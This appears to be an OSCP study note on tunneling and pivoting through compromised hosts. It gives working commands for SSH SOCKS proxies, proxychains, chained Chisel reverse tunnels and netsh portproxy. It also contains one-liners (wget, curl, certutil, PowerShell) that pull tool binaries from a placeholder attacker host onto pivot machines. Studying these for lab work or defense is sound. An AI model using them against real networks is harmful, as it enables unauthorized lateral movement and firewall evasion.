Tunneling & Pivoting — Core Concepts

What Is Tunneling / Pivoting?

Tunneling wraps traffic inside another protocol to bypass firewalls or reach isolated networks. Pivoting uses a compromised host as a relay to reach network segments you can’t access directly.

OSCP context: In multi-machine networks and AD labs you almost always need to pivot. You land on a host that sits in two subnets — it becomes your jump box to reach the internal network.

[Attacker / Kali] ──── Internet ──── [Jump Box / Pivot] ──── [Internal Network]
                                       (Dual-homed host)        192.168.x.x / 172.16.x.x

Key Terminology

When To Use What

📌 Proxychains — Setup & Usage

Full reference: Proxychains — config (dynamic_chain, proxy_dns), -q, nmap -sT -Pn, AD tools, Chisel/SSH -D integration, troubleshooting.

ssh -D 1080 -N -f user@PIVOT
# /etc/proxychains4.conf → dynamic_chain + socks5 127.0.0.1 1080
proxychains4 -q nmap -sT -Pn 172.16.0.10
proxychains4 evil-winrm -i 172.16.0.10 -u admin -p pass

Ligolo-ng does NOT need proxychains — TUN interface; tools work natively.

📌 Identifying Pivot Hosts

When you land on a machine, always check for multiple interfaces — that tells you there’s another network to pivot into:

# Linux
ip a
ifconfig
ip route
cat /etc/hosts
arp -a                          # Hosts this machine has seen recently
 
# Windows
ipconfig /all
arp -a
route print

Look for:

• A second NIC with a different subnet (e.g. eth0: 10.10.10.5, eth1: 172.16.0.5)
• Routes to internal subnets
• Hosts in /etc/hosts or ARP cache on different subnets

📌 Multi-Hop / Double Pivot

When you need to reach a 3rd network through 2 pivot hosts:

[Kali] ──── [Pivot 1: 10.10.10.5] ──── [Pivot 2: 172.16.0.10] ──── [Internal: 192.168.1.0/24]

With Chisel (chain):

# Kali: start server
chisel server -p 8001 --reverse
 
# Pivot 1: connect to Kali AND start its own server for Pivot 2
chisel client KALI_IP:8001 R:socks &
chisel server -p 8002 --reverse &
 
# Pivot 2: connect to Pivot 1
chisel client PIVOT1_IP:8002 R:socks

With Ligolo-ng (multi-session): Add the second session from Pivot 2 after routing through Pivot 1. See Ligolo-ng for full multi-hop setup.

With SSH (ProxyJump chaining):

ssh -J user@PIVOT1 -J user@PIVOT2 user@INTERNAL_HOST

📌 File Transfer to Pivot Hosts

You’ll need to transfer tool binaries (chisel, ligolo agent, socat) to the pivot:

# Python HTTP server on Kali
python3 -m http.server 8080
 
# On Linux pivot: download
wget http://KALI_IP:8080/chisel -O /tmp/chisel && chmod +x /tmp/chisel
curl http://KALI_IP:8080/chisel -o /tmp/chisel && chmod +x /tmp/chisel
 
# On Windows pivot: download (PowerShell)
iwr -Uri http://KALI_IP:8080/chisel.exe -OutFile C:\Temp\chisel.exe
(New-Object Net.WebClient).DownloadFile("http://KALI_IP:8080/chisel.exe","C:\Temp\chisel.exe")
certutil -urlcache -split -f http://KALI_IP:8080/chisel.exe C:\Temp\chisel.exe

📌 OSCP Tunneling Decision Flow

Got shell on pivot?
  └── Does it have SSH? 
        ├── YES → Use SSH -L / -D (easiest, no binary needed)
        │         or sshuttle (full subnet, VPN-like)
        └── NO → Can you transfer a binary?
                  ├── YES → Use Chisel (HTTP-based, bypasses firewalls)
                  │         or Ligolo-ng (best for full subnet access)
                  └── NO → Use socat relay (if pre-installed)
                            or Meterpreter portfwd (if MSF session)

Windows pivot?
  ├── Has SSH? → plink.exe (SSH for Windows)
  ├── No SSH?  → Chisel.exe / Ligolo agent.exe
  └── No binary upload? → netsh portproxy (built-in Windows)

Tunneling Tools (Sub-Notes)

Related Tools

• Chisel
• SSH
• SSH Tunneling
• sshuttle
• Socat
• Plink
• Netsh
• Ligolo-ng
• Proxychains

Related Notes

• Sheet
• Post-Exploitation
• Port Forwarding
• SSH
• Chisel
• Networking
• LatMovement
• MetaSploit
• Shells
• Nmap
• Training